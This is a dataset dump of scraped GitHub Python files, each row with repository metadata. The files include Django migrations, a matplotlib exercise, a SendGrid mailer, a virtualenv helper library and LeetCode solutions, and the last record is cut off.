blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
616
| content_id
stringlengths 40
40
| detected_licenses
sequencelengths 0
112
| license_type
stringclasses 2
values | repo_name
stringlengths 5
115
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 777
values | visit_date
timestamp[us]date 2015-08-06 10:31:46
2023-09-06 10:44:38
| revision_date
timestamp[us]date 1970-01-01 02:38:32
2037-05-03 13:00:00
| committer_date
timestamp[us]date 1970-01-01 02:38:32
2023-09-06 01:08:06
| github_id
int64 4.92k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 22
values | gha_event_created_at
timestamp[us]date 2012-06-04 01:52:49
2023-09-14 21:59:50
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-21 12:35:19
⌀ | gha_language
stringclasses 149
values | src_encoding
stringclasses 26
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 3
10.2M
| extension
stringclasses 188
values | content
stringlengths 3
10.2M
| authors
sequencelengths 1
1
| author_id
stringlengths 1
132
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ed8f1e7a9bca1240742287d1ba9ff1752519e407 | acb8e84e3b9c987fcab341f799f41d5a5ec4d587 | /langs/9/wn2.py | 7e5061c53baa9c33c3a5a765f753cb76544cb01f | [] | no_license | G4te-Keep3r/HowdyHackers | 46bfad63eafe5ac515da363e1c75fa6f4b9bca32 | fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2 | refs/heads/master | 2020-08-01T12:08:10.782018 | 2016-11-13T20:45:50 | 2016-11-13T20:45:50 | 73,624,224 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 486 | py | import sys
def printFunction(lineRemaining):
if lineRemaining[0] == '"' and lineRemaining[-1] == '"':
if len(lineRemaining) > 2:
#data to print
lineRemaining = lineRemaining[1:-1]
print ' '.join(lineRemaining)
else:
print
def main(fileName):
with open(fileName) as f:
for line in f:
data = line.split()
if data[0] == 'wN2':
printFunction(data[1:])
else:
print 'ERROR'
return
if __name__ == '__main__':
main(sys.argv[1]) | [
"[email protected]"
] | |
c212b7abfa204151fd7118f9c1047b5c3fb541c4 | a9d4beb507b284e0a30b6f6522d448bec37ab7d6 | /math/0x01-plotting/5-all_in_one.py | c1616e1f02491a0cca18080e0f79cb2b3375c8b4 | [] | no_license | Danucas/holbertonschool-machine_learning | b9aedaccb93627adb9514f6c2fae1b67a1aeb0af | 83e6185ebe3935f4fea27afa5db9f448722f2e2a | refs/heads/main | 2023-07-12T17:08:02.813748 | 2021-08-17T05:22:30 | 2021-08-17T05:22:30 | 318,015,962 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,830 | py | #!/usr/bin/env python3
import numpy as np
import matplotlib.pyplot as plt
y0 = np.arange(0, 11) ** 3
mean = [69, 0]
cov = [[15, 8], [8, 15]]
np.random.seed(5)
x1, y1 = np.random.multivariate_normal(mean, cov, 2000).T
y1 += 180
x2 = np.arange(0, 28651, 5730)
r2 = np.log(0.5)
t2 = 5730
y2 = np.exp((r2 / t2) * x2)
x3 = np.arange(0, 21000, 1000)
r3 = np.log(0.5)
t31 = 5730
t32 = 1600
y31 = np.exp((r3 / t31) * x3)
y32 = np.exp((r3 / t32) * x3)
np.random.seed(5)
student_grades = np.random.normal(68, 15, 50)
parameters = {
'axes.labelsize': 'x-small',
'axes.titlesize': 'x-small'
}
plt.rcParams.update(parameters)
fig = plt.figure()
ax1 = plt.subplot2grid((3, 2), (0, 0), colspan=1)
# adding ax 1
ax1.set_xlim(0, 10)
ax1.plot(y0)
# adding ax 2
ax2 = plt.subplot2grid((3, 2), (0, 1), colspan=1)
ax2.title.set_text("Men's Height vs Weight")
ax2.scatter(x1, y1, c=['#d065cb'])
ax3 = plt.subplot2grid((3, 2), (1, 0), colspan=1)
# adding ax 3
ax3.set_xlabel('Fraction Remaining')
ax3.set_ylabel('Time (years)')
ax3.set_yscale('log')
ax3.set_xlim(0, 28650)
ax3.plot(x2, y2)
# adding ax 4
ax4 = plt.subplot2grid((3, 2), (1, 1), colspan=1)
ax4.title.set_text('Exponential Decay of Radioactive Elements')
ax4.set_xlim(0, 20000)
ax4.set_ylim(0, 1)
line1, = ax4.plot(x3, y31, color="#eb473f", label="C-14", linestyle="dashed")
line2, = ax4.plot(x3, y32, color="#4f9720", label="Ra-226")
ax4.legend((line1, line2), (line1.get_label(), line2.get_label()))
# adding ax 5
ax5 = plt.subplot2grid((3, 2), (2, 0), colspan=2)
ax5.title.set_text('Project A')
ax5.set_xlabel('Grades')
ax5.set_xlabel('Number of students')
ax5.set_xlim(0, 100)
ax5.set_ylim(0, 30)
ax5.hist(student_grades, range=(0, 100), bins=10, edgecolor='black', linewidth=1.2)
for ax in fig.axes:
print(ax)
fig.suptitle('All in one')
fig.tight_layout()
plt.show()
| [
"[email protected]"
] | |
d20d0862c0bc14f8a343819a18037592d6950392 | 734a31e81f206c0bb9ab1e1fd6745a29aaa10b14 | /src/products/migrations/0015_auto_20180115_0209.py | 86f87585cdc543286771d23aa9edee108ffaf53d | [
"MIT"
] | permissive | shan18/Kart | d39974ba3f2eca14e68f6e51ed9132ffcf8a540a | a38f648d00b829a2f0a875e78c102c62c9718ee1 | refs/heads/master | 2022-12-10T05:33:41.198309 | 2022-11-29T07:16:32 | 2022-11-29T07:16:32 | 118,975,709 | 26 | 18 | MIT | 2020-06-08T09:47:11 | 2018-01-25T22:34:36 | Python | UTF-8 | Python | false | false | 622 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.8 on 2018-01-14 20:39
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0014_auto_20180114_0359'),
]
operations = [
migrations.AddField(
model_name='productfile',
name='free',
field=models.BooleanField(default=False),
),
migrations.AddField(
model_name='productfile',
name='user_required',
field=models.BooleanField(default=False),
),
]
| [
"[email protected]"
] | |
8b363f046499487518a67cb87eb0ec039c027f5f | 025333407ea7219540c4873091ade8bff9ced829 | /manage.py | f2211cdbdecf378c6af5618fe89fcac935d26090 | [] | no_license | PyconUK/ironcage18 | 317b6250019f0173c421b0f1980dcee52c727528 | 4ffb1c8449437f8d4dc08a1f344d47383b542598 | refs/heads/master | 2021-04-15T18:24:30.180384 | 2019-05-15T08:48:57 | 2019-05-15T08:57:20 | 126,659,139 | 1 | 4 | null | 2018-10-10T07:38:22 | 2018-03-25T02:53:05 | Python | UTF-8 | Python | false | false | 714 | py | #!/usr/bin/env python
import os
import sys
import dotenv
if __name__ == "__main__":
if 'test' in sys.argv:
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ironcage.settings.test")
else:
dotenv.read_dotenv()
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ironcage.settings.local")
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
| [
"[email protected]"
] | |
31ab032e54bf47596e702e42e35b49e5afb56914 | dbd87fe6e9466c4cada18b037667cfdddc62c193 | /data/Quandl/Quandl_to_Email/mailer.py | fc9f7c8bf40471494b8853214d35944ab0aff2b3 | [] | no_license | alexanu/Python_Trading_Snippets | 74515a40dc63ba50d95bd50330ed05d59b5dc837 | 85969e681b9c74e24e60cc524a952f9585ea9ce9 | refs/heads/main | 2023-06-25T03:27:45.813987 | 2023-06-09T16:09:43 | 2023-06-09T16:09:43 | 197,401,560 | 18 | 17 | null | 2023-02-08T22:25:25 | 2019-07-17T14:05:32 | Jupyter Notebook | UTF-8 | Python | false | false | 1,112 | py | import sendgrid
import os
from sendgrid.helpers.mail import Email, Content, Mail
class Mailer(object):
def __init__(self):
if os.environ["SENDGRID_API_KEY"] is None:
raise EnvironmentError("Missing env SENDGRID_API_KEY")
self.sendgrid_client = sendgrid.SendGridAPIClient(
apikey=os.environ["SENDGRID_API_KEY"])
def send_mail(self, from_address, to_address, subject, body, content_type="text/plain"):
from_email = Email(from_address)
to_email = Email(to_address)
subject = subject
content = Content(content_type, body)
mail = Mail(from_email, subject, to_email, content)
response = self.sendgrid_client.client.mail.send.post(
request_body=mail.get())
return response
if __name__ == '__main__':
mailer = Mailer()
response = mailer.send_mail(
from_address="[email protected]",
to_address="[email protected]",
subject="Subject - Test mail",
body="Test mail ABC")
print(response.status_code)
print(response.body)
print(response.headers)
| [
"[email protected]"
] | |
0e83a10947f41ecdc8506924ac075dff32b6b7b0 | 5b6ec656a247d10011fd67a920aa002ebdf873c3 | /GithubOctarofile/GithubOctarofile/urls.py | d618d9a5c3257a4b79841c4d90f628af694f8d70 | [] | no_license | KhaledAbuNada-AI/Django-Projects | cfb46d46da5f5358171294ca8c02c62c5babf2cf | ff264426d7a650f3c513678bbd71b5519372f6d3 | refs/heads/master | 2022-04-24T10:52:26.791436 | 2020-04-22T15:27:37 | 2020-04-22T15:27:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 976 | py | """GithubOctarofile URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('admin/', admin.site.urls),
path('Octaprofile/', include('OctaProfile.urls'))
]
urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) | [
"[email protected]"
] | |
b4d34fe8abe990c21dd3d582565360d613e2f4ca | 814a896307bc2b99ec20d0800cb106280fb1b303 | /venv/lib/python3.6/site-packages/pyquickhelper/pycode/venv_helper.py | 55ccc1978d821f067c1568795e6c9d9e12bfed3f | [] | no_license | mahagala/HecHms | ae0d4bedfcba33bc7e70eeefadcbd5361a00bd73 | 47521f9cd8dc0f2a51bb6e2660f67a81b3634b16 | refs/heads/master | 2021-09-20T04:16:23.691577 | 2018-08-03T12:46:38 | 2018-08-03T12:46:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,624 | py | """
@file
@brief Helpers for virtualenv
.. versionadded:: 1.2
"""
import os
import sys
from ..loghelper import noLOG, run_cmd
class VirtualEnvError(Exception):
"""
Exception raised by the function implemented in this file.
"""
pass
def is_virtual_environment():
"""
Tells if the script is run from a virtual environment.
@return boolean
.. versionadded:: 1.3
"""
return (getattr(sys, "base_exec_prefix", sys.exec_prefix) != sys.exec_prefix) or hasattr(sys, 'real_prefix')
class NotImplementedErrorFromVirtualEnvironment(NotImplementedError):
"""
Defines an exception when a function does not work
in a virtual environment.
.. versionadded:: 1.3
"""
pass
def numeric_module_version(vers):
"""
Converts a string into a tuple with numbers whever possible.
@param vers string
@return tuple
"""
if isinstance(vers, tuple):
return vers
spl = vers.split(".")
r = []
for _ in spl:
try:
i = int(_)
r.append(i)
except ValueError:
r.append(_)
return tuple(r)
def compare_module_version(num, vers):
"""
Compares two versions.
@param num first version
@param vers second version
@return -1, 0, 1
.. versionchanged:: 1.3
Fix a bug (do not use ModuleInstall)
"""
if num is None:
if vers is None:
return 0
else:
return 1
if vers is None:
return -1
if not isinstance(vers, tuple):
vers = numeric_module_version(vers)
if not isinstance(num, tuple):
num = numeric_module_version(num)
if len(num) == len(vers):
for a, b in zip(num, vers):
if isinstance(a, int) and isinstance(b, int):
if a < b:
return -1
elif a > b:
return 1
else:
a = str(a)
b = str(b)
if a < b:
return -1
elif a > b:
return 1
return 0
else:
if len(num) < len(vers):
num = num + (0,) * (len(vers) - len(num))
return compare_module_version(num, vers)
else:
vers = vers + (0,) * (len(num) - len(vers))
return compare_module_version(num, vers)
def build_venv_cmd(params, posparams):
"""
Builds the command line for virtual env.
@param params dictionary of parameters
@param posparams positional arguments
@return string
"""
import venv
v = venv.__file__
if v is None:
raise ImportError("module venv should have a version number")
exe = sys.executable.replace("w.exe", "").replace(".exe", "")
cmd = [exe, "-m", "venv"]
for k, v in params.items():
if v is None:
cmd.append("--" + k)
else:
cmd.append("--" + k + "=" + v)
cmd.extend(posparams)
return " ".join(cmd)
def create_virtual_env(where, symlinks=False, system_site_packages=False,
clear=True, packages=None, fLOG=noLOG,
temp_folder=None):
"""
Creates a virtual environment.
@param where location of this virtual environment
@param symlinks attempt to symlink rather than copy
@param system_site_packages Give the virtual environment access to the system site-packages dir
@param clear Delete the environment directory if it already exists.
If not specified and the directory exists, an error is raised.
@param packages list of packages to install (it will install module
:epkg:`pymyinstall`).
@param fLOG logging function
@param temp_folder temporary folder (to download module if needed), by default ``<where>/download``
@return stand output
.. index:: virtual environment
.. faqref::
:title: How to create a virtual environment?
The following example creates a virtual environment.
Packages can be added by specifying the parameter *package*.
::
from pyquickhelper.pycode import create_virtual_env
fold = "my_env"
if not os.path.exists(fold):
os.mkdir(fold)
create_virtual_env(fold)
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
fLOG("create virtual environment at:", where)
params = {}
if symlinks:
params["symlinks"] = None
if system_site_packages:
params["system-site-packages"] = None
if clear:
params["clear"] = None
cmd = build_venv_cmd(params, [where])
out, err = run_cmd(cmd, wait=True, fLOG=fLOG)
if len(err) > 0:
raise VirtualEnvError(
"unable to create virtual environement at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, where, cmd))
if sys.platform.startswith("win"):
scripts = os.path.join(where, "Scripts")
else:
scripts = os.path.join(where, "bin")
if not os.path.exists(scripts):
files = "\n ".join(os.listdir(where))
raise FileNotFoundError(
"unable to find {0}, content:\n {1}".format(scripts, files))
in_scripts = os.listdir(scripts)
pips = [_ for _ in in_scripts if _.startswith("pip")]
if len(pips) == 0:
out += venv_install(where, "pip", fLOG=fLOG,
temp_folder=temp_folder)
in_scripts = os.listdir(scripts)
pips = [_ for _ in in_scripts if _.startswith("pip")]
if len(pips) == 0:
raise FileNotFoundError(
"unable to find pip in {0}, content:\n {1}".format(scripts, in_scripts))
out += venv_install(where, "pymyinstall", fLOG=fLOG,
temp_folder=temp_folder)
if packages is not None and len(packages) > 0:
fLOG("install packages in:", where)
packages = [_ for _ in packages if _ != "pymyinstall" and _ != "pip"]
if len(packages) > 0:
out += venv_install(where, packages, fLOG=fLOG,
temp_folder=temp_folder)
return out
def venv_install(venv, packages, fLOG=noLOG, temp_folder=None):
"""
Installs a package or a list of packages in a virtual environment.
@param venv location of the virtual environment
@param packages a package (str) or a list of packages(list[str])
@param fLOG logging function
@param temp_folder temporary folder (to download module if needed), by default ``<where>/download``
@return standard output
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if temp_folder is None:
temp_folder = os.path.join(venv, "download")
if isinstance(packages, str):
packages = [packages]
if packages == "pip" or packages == ["pip"]:
from .get_pip import __file__ as pip_loc
ppath = os.path.abspath(pip_loc.replace(".pyc", ".py"))
script = ["-u", ppath]
return run_venv_script(venv, script, fLOG=fLOG, is_cmd=True)
elif packages == "pymyinstall" or packages == ["pymyinstall"]:
if sys.platform.startswith("win"):
pip = os.path.join(venv, "Scripts", "pip")
else:
pip = os.path.join(venv, "bin", "pip")
local_setup = os.path.abspath(os.path.join(os.path.dirname(
__file__), "..", "..", "..", "..", "pymyinstall", "setup.py"))
if os.path.exists(local_setup):
cwd = os.getcwd()
os.chdir(os.path.dirname(local_setup))
script = ["-u", local_setup, "install"]
out = run_venv_script(venv, script, fLOG=fLOG, is_cmd=True,
skip_err_if="Finished processing dependencies for pymyinstall==")
os.chdir(cwd)
return out
else:
cmd = pip + " install pymyinstall"
out, err = run_cmd(cmd, wait=True, fLOG=fLOG)
if len(err) > 0:
raise VirtualEnvError(
"unable to install pymyinstall at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
else:
p = os.path.normpath(os.path.join(
os.path.abspath(os.path.dirname(__file__)), "..", ".."))
ls = ','.join("'{0}'".format(_) for _ in packages)
script = ["import sys",
"sys.path.append('{0}')".format(p.replace("\\", "\\\\")),
"import pymyinstall",
"ps=[{0}]".format(ls),
"t='{0}'".format(temp_folder.replace("\\", "\\\\")),
"pymyinstall.packaged.install_all(temp_folder=t,list_module=ps,up_pip=False)"]
return run_venv_script(venv, "\n".join(script), fLOG=fLOG)
def run_venv_script(venv, script, fLOG=noLOG, file=False, is_cmd=False,
skip_err_if=None, **kwargs):
"""
Runs a script on a vritual environment (the script should be simple).
@param venv virtual environment
@param script script as a string (not a file)
@param fLOG logging function
@param file is script a file or a string to execute
@param is_cmd if True, script is a command line to run (as a list) for python executable
@param skip_err_if do not pay attention to standard error if this string was found in standard output
@param kwargs others arguments for function @see fn run_cmd.
@return output
The function does not work from a virtual environment.
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if sys.platform.startswith("win"):
exe = os.path.join(venv, "Scripts", "python")
else:
exe = os.path.join(venv, "bin", "python")
if is_cmd:
cmd = " ".join([exe] + script)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and (skip_err_if is None or skip_err_if not in out):
raise VirtualEnvError(
"unable to run cmd at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
else:
script = ";".join(script.split("\n"))
if file:
if not os.path.exists(script):
raise FileNotFoundError(script)
cmd = " ".join([exe, "-u", '"{0}"'.format(script)])
else:
cmd = " ".join([exe, "-u", "-c", '"{0}"'.format(script)])
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0:
raise VirtualEnvError(
"unable to run script at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, venv, cmd))
return out
def run_base_script(script, fLOG=noLOG, file=False, is_cmd=False,
skip_err_if=None, argv=None, **kwargs):
"""
Runs a script with the original intepreter even if this function
is run from a virtual environment.
@param script script as a string (not a file)
@param fLOG logging function
@param file is script a file or a string to execute
@param is_cmd if True, script is a command line to run (as a list) for python executable
@param skip_err_if do not pay attention to standard error if this string was found in standard output
@param argv list of arguments to add on the command line
@param kwargs others arguments for function @see fn run_cmd.
@return output
The function does not work from a virtual environment.
The function does not raise an exception if the standard error
contains something like::
----------------------------------------------------------------------
Ran 1 test in 0.281s
OK
"""
def true_err(err):
if "Ran 1 test" in err and "OK" in err:
return False
else:
return True
if hasattr(sys, 'real_prefix'):
exe = sys.real_prefix
elif hasattr(sys, "base_exec_prefix"):
exe = sys.base_exec_prefix
else:
exe = sys.exec_prefix
if sys.platform.startswith("win"):
exe = os.path.join(exe, "python")
else:
exe = os.path.join(exe, "bin", "python")
if is_cmd:
cmd = " ".join([exe] + script)
if argv is not None:
cmd += " " + " ".join(argv)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and (skip_err_if is None or skip_err_if not in out) and true_err(err):
p = sys.base_prefix if hasattr(sys, "base_prefix") else sys.prefix
raise VirtualEnvError(
"unable to run cmd at {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, p, cmd))
return out
else:
script = ";".join(script.split("\n"))
if file:
if not os.path.exists(script):
raise FileNotFoundError(script)
cmd = " ".join([exe, "-u", '"{0}"'.format(script)])
else:
cmd = " ".join([exe, "-u", "-c", '"{0}"'.format(script)])
if argv is not None:
cmd += " " + " ".join(argv)
out, err = run_cmd(cmd, wait=True, fLOG=fLOG, **kwargs)
if len(err) > 0 and true_err(err):
p = sys.base_prefix if hasattr(sys, "base_prefix") else sys.prefix
raise VirtualEnvError(
"unable to run script with {2}\nCMD:\n{3}\nOUT:\n{0}\n[pyqerror]\n{1}".format(out, err, p, cmd))
return out
def check_readme_syntax(readme, folder, version="0.8", fLOG=noLOG):
"""
Checks the syntax of the file ``readme.rst``
which describes a python project.
@param readme file to check
@param folder location for the virtual environment
@param version version of docutils
@param fLOG logging function
@return output or SyntaxError exception
`pipy server <https://pypi.python.org/pypi/>`_ is based on
`docutils <https://pypi.python.org/pypi/docutils/>`_ ==0.8.
The most simple way to check its syntax is to create a virtual environment,
to install docutils==0.8 and to compile the file.
This is what this function does.
Unfortunately, this functionality does not work yet
from a virtual environment.
.. versionadded:: 1.3
"""
if is_virtual_environment():
raise NotImplementedErrorFromVirtualEnvironment()
if not os.path.exists(folder):
os.makedirs(folder)
out = create_virtual_env(folder, fLOG=fLOG, packages=[
"docutils==" + version,
"pipdeptree"])
outfile = os.path.join(folder, "conv_readme.html")
script = ["from docutils import core",
"import io",
'from docutils.readers.standalone import Reader',
'from docutils.parsers.rst import Parser',
'from docutils.parsers.rst.directives.images import Image',
'from docutils.parsers.rst.directives import _directives',
'from docutils.writers.html4css1 import Writer',
"from docutils.languages import _languages",
"from docutils.languages import en, fr",
"_languages['en'] = en",
"_languages['fr'] = fr",
"_directives['image'] = Image",
"with open('{0}', 'r', encoding='utf8') as g: s = g.read()".format(
readme.replace("\\", "\\\\")),
"settings_overrides = {'output_encoding': 'unicode', 'doctitle_xform': True,",
" initial_header_level': 2, 'warning_stream': io.StringIO()}",
"parts = core.publish_parts(source=s, parser=Parser(), reader=Reader(), source_path=None,",
" destination_path=None, writer=Writer(),",
" settings_overrides=settings_overrides)",
"with open('{0}', 'w', encoding='utf8') as f: f.write(parts['whole'])".format(
outfile.replace("\\", "\\\\")),
]
file_script = os.path.join(folder, "test_" + os.path.split(readme)[-1])
with open(file_script, "w") as f:
f.write("\n".join(script))
out = run_venv_script(folder, file_script, fLOG=fLOG, file=True)
with open(outfile, "r", encoding="utf8") as h:
content = h.read()
if "System Message" in content:
raise SyntaxError(
"unable to parse a file with docutils==" + version + "\nCONTENT:\n" + content)
return out
| [
"[email protected]"
] | |
cc33c74f1c0ac7232046e55292d8b413ca1bc988 | 5759c0ed3219c06437ce5b39ef9ad92b5e191fed | /py/0114_flatten_binary_tree_to_linked_list.py | 50bdf3fcfc9bb4e70f86523429fbe8d284228f61 | [] | no_license | mengnan1994/Surrender-to-Reality | ba69df7c36112ad19f19157a9f368eae6340630f | 66232728ce49149188f863271ec2c57e426abb43 | refs/heads/master | 2022-02-25T01:34:49.526517 | 2019-09-22T17:21:28 | 2019-09-22T17:21:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,498 | py | """
Given a binary tree, flatten it to a linked list in-place.
For example, given the following tree:
1
/ \
2 5
/ \ \
3 4 6
The flattened tree should look like:
1
\
2
\
3
\
4
\
5
\
6
"""
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def __init__(self):
self._precursor = None
def flatten(self, root):
"""
前序遍历,注意记录前驱节点,将前驱节点指向当前节点
"""
node_list = []
self._preorder_traverse(root, node_list)
# print(node_list)
for idx in range(0, len(node_list) - 1):
node_list[idx].left = None
node_list[idx].right = node_list[idx + 1]
node_list[-1].left = None
node_list[-1].right = None
root = node_list[0]
def _preorder_traverse(self, node : TreeNode, node_list):
node_list.append(node)
if not node.left and not node.right:
return
if node.left:
self._preorder_traverse(node.left, node_list)
if node.right:
self._preorder_traverse(node.right, node_list)
def flaten_2(self, root):
"""
优化空间复杂度
对于一个节点,其左子树的最右节点是右子的前驱
"""
pass
# def _preorder_traverse_2(self, node : TreeNode):
| [
"[email protected]"
] | |
e2edb5d82d0b7b9a5ce5c04dca7d99743fcc26ab | ce76b3ef70b885d7c354b6ddb8447d111548e0f1 | /week_or_work/give_group/go_place/fact/child/world.py | ef11efc3b6b9c83521114179cecdc22ea2e4faa1 | [] | no_license | JingkaiTang/github-play | 9bdca4115eee94a7b5e4ae9d3d6052514729ff21 | 51b550425a91a97480714fe9bc63cb5112f6f729 | refs/heads/master | 2021-01-20T20:18:21.249162 | 2016-08-19T07:20:12 | 2016-08-19T07:20:12 | 60,834,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 230 | py |
#! /usr/bin/env python
def fact_or_different_group(str_arg):
other_thing(str_arg)
print('last_life_and_time')
def other_thing(str_arg):
print(str_arg)
if __name__ == '__main__':
fact_or_different_group('part')
| [
"[email protected]"
] | |
ba89f8b4fbc89acfbdb68504386a71ea5e70c4ca | b3fc641d4a746401301d917d42dd204a8661874b | /authors/apps/articles/migrations/0009_reported_times_reported.py | 7fd11b5ff494f57db3c9d8ee75cc09f9b68ec1b0 | [
"BSD-3-Clause"
] | permissive | andela/ah-backend-lannister | 7998e0f9729036627ef2aabcdb1bb3c89b356727 | 091bd7e892eb0709a937f0f992f2675ab81ce40c | refs/heads/develop | 2020-03-29T02:31:52.662672 | 2018-11-20T09:14:50 | 2018-11-20T09:14:50 | 149,441,528 | 0 | 5 | BSD-3-Clause | 2018-11-20T09:14:51 | 2018-09-19T11:39:36 | Python | UTF-8 | Python | false | false | 394 | py | # Generated by Django 2.1.1 on 2018-10-18 13:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('articles', '0008_auto_20181018_1517'),
]
operations = [
migrations.AddField(
model_name='reported',
name='times_reported',
field=models.IntegerField(default=0),
),
]
| [
"[email protected]"
] | |
d77cc9cfc19abaad7bd34df16677a4312d3ea8d1 | f7648ea1c8a9565371c3d4654f7bdf1f2c9278f5 | /BAEK_JOON/Python_algorithm/백준_11053번_가장긴증가하는부분수열.py | 46abd5d65adc6c66937eba0785359af736f28207 | [] | no_license | Sungmin-Joo/Algorithm-competition | 521e019d532cc73e7620c5d1218142d32820eb1f | 6b9513e15f284d95a21eecd84a0a4d0f2ff03402 | refs/heads/master | 2020-05-01T15:25:16.404513 | 2020-01-19T10:41:25 | 2020-01-19T10:41:25 | 177,546,171 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 354 | py | import sys
input = sys.stdin.readline
global dp, l
n = int(input())
arr = [*map(int,input().split())]
dp = [0] * n
m = 0
for i in range(n):
if i == 0:
dp[i] = 1
else:
max_dp = 0
for j in range(0, i):
if max_dp < dp[j] and arr[j] < arr[i]:
max_dp = dp[j]
dp[i] = max_dp+1
print(max(dp)) | [
"[email protected]"
] | |
61b16488d1272ea297377739b9d59515dbe88c4f | 2f963d7989749037a3ec27aaa39b31416b33cbb2 | /ib_recommender/interfaces/ib_recommender_service_interface.py | d49a6e35f35d335762e37a87f3106329613780e4 | [] | no_license | migsantos121/phd3-backend | 3cd014908856c995de3c4473d82059bc9c1b5794 | 9d1d2bd6f55dc89719ce5a1916c5db3d573aec1e | refs/heads/master | 2022-12-12T17:25:59.334509 | 2020-03-09T09:24:08 | 2020-03-09T09:24:08 | 245,991,086 | 0 | 0 | null | 2022-06-28T14:45:50 | 2020-03-09T09:17:18 | Python | UTF-8 | Python | false | false | 1,562 | py | from django_swagger_utils.drf_server.decorators.handle_exceptions import handle_exceptions
from ib_common.interface_utils.interface_utils import InterfaceUtils
__author__ = 'ibhubs'
class IBRecommenderServiceInterface(InterfaceUtils):
def __init__(self, *args, **kwargs):
super(IBRecommenderServiceInterface, self).__init__(*args, **kwargs)
@property
def service_flag(self):
from django.conf import settings
from ib_common.constants.service_types import ServiceTypesEnum
return getattr(settings, 'IB_RECOMMENDER_REQUEST_TYPE', ServiceTypesEnum.LIBRARY.value)
@property
def service_base_url(self):
from django.conf import settings
return self.clean_base_url(getattr(settings, 'IB_RECOMMENDER_BASE_URL', '')) + 'api/ib_recommender/'
@property
def client_key_details_id(self):
return 1
@handle_exceptions()
def get_articles(self, request_data=None, path_params=None, query_params=None, headers_obj=None, **kwargs):
setattr(self, 'request_data', request_data)
setattr(self, 'path_params', path_params)
setattr(self, 'query_params', query_params)
setattr(self, 'headers_obj', headers_obj)
setattr(self, 'request_type', 'POST')
setattr(self, 'url_tail', 'articles/')
def api_wrapper(*args, **kwargs):
from ib_recommender.views.get_articles.api_wrapper import api_wrapper
return api_wrapper(*args, **kwargs)
setattr(self, 'api_wrapper', api_wrapper)
return self.execute()
| [
"[email protected]"
] | |
6211c93ef5e464339a3ece24a4c1a0c77ec991bc | 419873dd3b7412f704b1a7907b64a60b44cedf39 | /python/设计/157. 用 Read4 读取 N 个字符.py | 014893b2ac1f2b51dbcea4b77c5c3014bcf07fec | [] | no_license | Weless/leetcode | 0585c5bfa260713f44dabc51fa58ebf8a10e7814 | 0566622daa5849f7deb0cfdc6de2282fb3127f4c | refs/heads/master | 2021-11-13T07:59:20.299920 | 2021-10-25T02:09:53 | 2021-10-25T02:09:53 | 203,720,668 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 409 | py | class Solution:
def read(self, buf, n):
count=0
while count<n:
temp = [''] * 4
cur = read4(temp)
if cur == 0 :
break
i = 0
while i < cur and count <n:
buf[count] = temp[i]
count += 1
i+=1
return count
| [
"[email protected]"
] | |
99d0b1a49a4b2b619be7874cf19a6e505931f6d8 | 35b6013c1943f37d1428afd2663c8aba0a02628d | /appengine/flexible_python37_and_earlier/storage/noxfile_config.py | a97c6f1e260127c6b721ab0af921439d0e47fcf6 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
